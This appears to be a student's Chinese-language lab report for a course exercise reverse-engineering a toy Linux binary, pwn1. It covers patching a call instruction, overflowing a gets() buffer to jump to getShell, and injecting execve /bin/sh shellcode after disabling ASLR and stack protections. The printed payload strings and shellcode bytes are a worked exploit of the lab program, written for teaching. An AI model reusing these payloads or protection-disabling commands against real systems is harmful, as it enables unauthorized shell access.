zoukankan      html  css  js  c++  java
  • Exp1 PC平台逆向破解1 20154301仉鑫烨

     Exp1 PC平台逆向破解1 20154301仉鑫烨

     


     

    1.实验目标
    本次实践的对象是一个名为pwn1的linux可执行文件。

    1. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    2. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。实践目标即为想办法运行这个代码片段。利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    3. 注入一个自己制作的shellcode并运行这段shellcode。

    这几种思路,基本代表现实情况中的攻击目标:
    - [1] 运行原本不可访问的代码片段
    - [2]强行修改程序执行流
    - [3]以及注入运行任意代码。


    2.实验过程
    第一部分:

    复制文件并运行原代码:

    - [x] 直接修改程序机器指令,改变程序执行流程
    - 首先使用命令:

    objdump -d pwn1_20155212 | more


    将程序反汇编。

    从图中可以看到主函数中调用位于8048491处的foo函数,对应的机器指令为e8 d7 ff ff ff,通过猜测可知e8为跳转之意。

    本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令,CPU就会转而执行“EIP+d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29正好是8048491这个值。在这里进行计算时要注意在计算机内是采用小端模式即低字节优先。

    main函数调用foo,对应机器指令为“e8d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。

    47d-4ba得到补码,是c3ffffff。下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
    - 进入该文件的vi编辑模式,命令如下:


    - 搜索找到e8 d7ff ffff并修改成e8 c3ff ffff


    - 键入如下命令,转回原格式,并存盘退出。


    - 再利用反汇编命令查看该文件

    第二部分:
    - [x] 通过构造输入参数,造成BOF攻击,改变程序执行流
    - 反汇编,了解程序基本功能


    反汇编首先通过反汇编分析该文件,发现该可执行文件正常情况下是调用foo函数,而foo函数中使用了gets函数,该函数不会检查用户输入的长度,所以我们可以通过输入过长的参数,使超过部分溢出,覆盖返回地址,造成BOF攻击,改变程序执行流。
    - 确认输入字符串哪几个字符回复该到返回地址
    调试并运行该文件

    gdb 20154301 r

    接下来即要求输入参数,我们尝试性地输入1111111122222222333333334444444455555555

    执行结果如下图所示,报错。

    也就是说我们输入的最后八个5中的某四个覆盖了返回地址。
    - 确认用什么值来覆盖返回地址
    在之前我们知道getshell的内存地址是0804847d,加上之前所学在计算机内采用小端优先存储,我们可以确定需要输入的字符串为11111111222222223333333344444444x7dx84x04x08

    - 构造输入字符串

    - 由于我们没法通过键盘输入指定的16进制,我们通过以下命令来完成此操作

    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    并通过xxd查看其十六进制格式

    然后将input的输入

    此时main函数成功地调用了getshell函数,此时我们就可以输入shell指令了,如图


    第三部分:
    - [x] 注入shellcode并执行
    - 准备一段shellcode

    apt-get instal prelink (下载安装ececstack,否则接下来的命令无法执行)
    execstack -s 20154301(设置堆栈可执行)
    execstack -q 20154301(查询堆栈的文件是否可执行)
    more /proc/sys/kernel/randomize_va_space
    echo "0" > /proc/sys/kernel/randomize_va_space(关闭地址随机化)
    more /proc/sys/kernel/randomize_va_space

    如上图,显示为0时表示地址已经随机化
    - 注入shellcode

    Linux构造buf的两种方法
    retaddr+nop+shellcode
    nop+shellcode+retaddr
    缓冲区足够大,所以使用nops+shellcode+retaddr这个结构。
    输入如下shellcode:

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    其中,x4x3x2x1 是用来试探地址的。

    打开另一个终端,用gdb调试20154301这个进程

    ps -ef | grep 20154301
    找到进程号
    
    gdb
    启动gdb调试这个进程
    
    disassemble foo
    通过设置断点,来查看注入buf的内存地址
    
    break *0x080484ae
    
    再另一个终端里按下回车
    回到原终端
    c
    用ps -ef | grep 查看进程号,并进行调试

    - 查看是否1234覆盖成功

    - 地址加32位

    - 前面的32个A用来填满buf

    实验成功!


    3.实验总结

           本次实验对于初学者来说有一些困难,但通过老师的讲解绝大部分问题都能够加以解决。在最后注入shellcode的部分遇到了很多问题额,但通过与同学们讨论并上网查阅相关解决办法,最终也得以完成实验。本次实验的成功完成加强了我对于网络对抗课程的兴趣,希望在后续课程里也能够良好完成。


    4.实验问题

    在apt-get过程中遇到资源不可用,无法解锁的问题,后得以解决

  • 相关阅读:
    康复计划
    Leetcode 08.02 迷路的机器人 缓存加回溯
    Leetcode 38 外观数列
    Leetcode 801 使序列递增的最小交换次数
    Leetcode 1143 最长公共子序列
    Leetcode 11 盛水最多的容器 贪心算法
    Leetcode 1186 删除一次得到子数组最大和
    Leetcode 300 最长上升子序列
    Leetcode95 不同的二叉搜索树II 精致的分治
    Leetcode 1367 二叉树中的列表 DFS
  • 原文地址:https://www.cnblogs.com/z20154301/p/8583867.html
Copyright © 2011-2022 走看看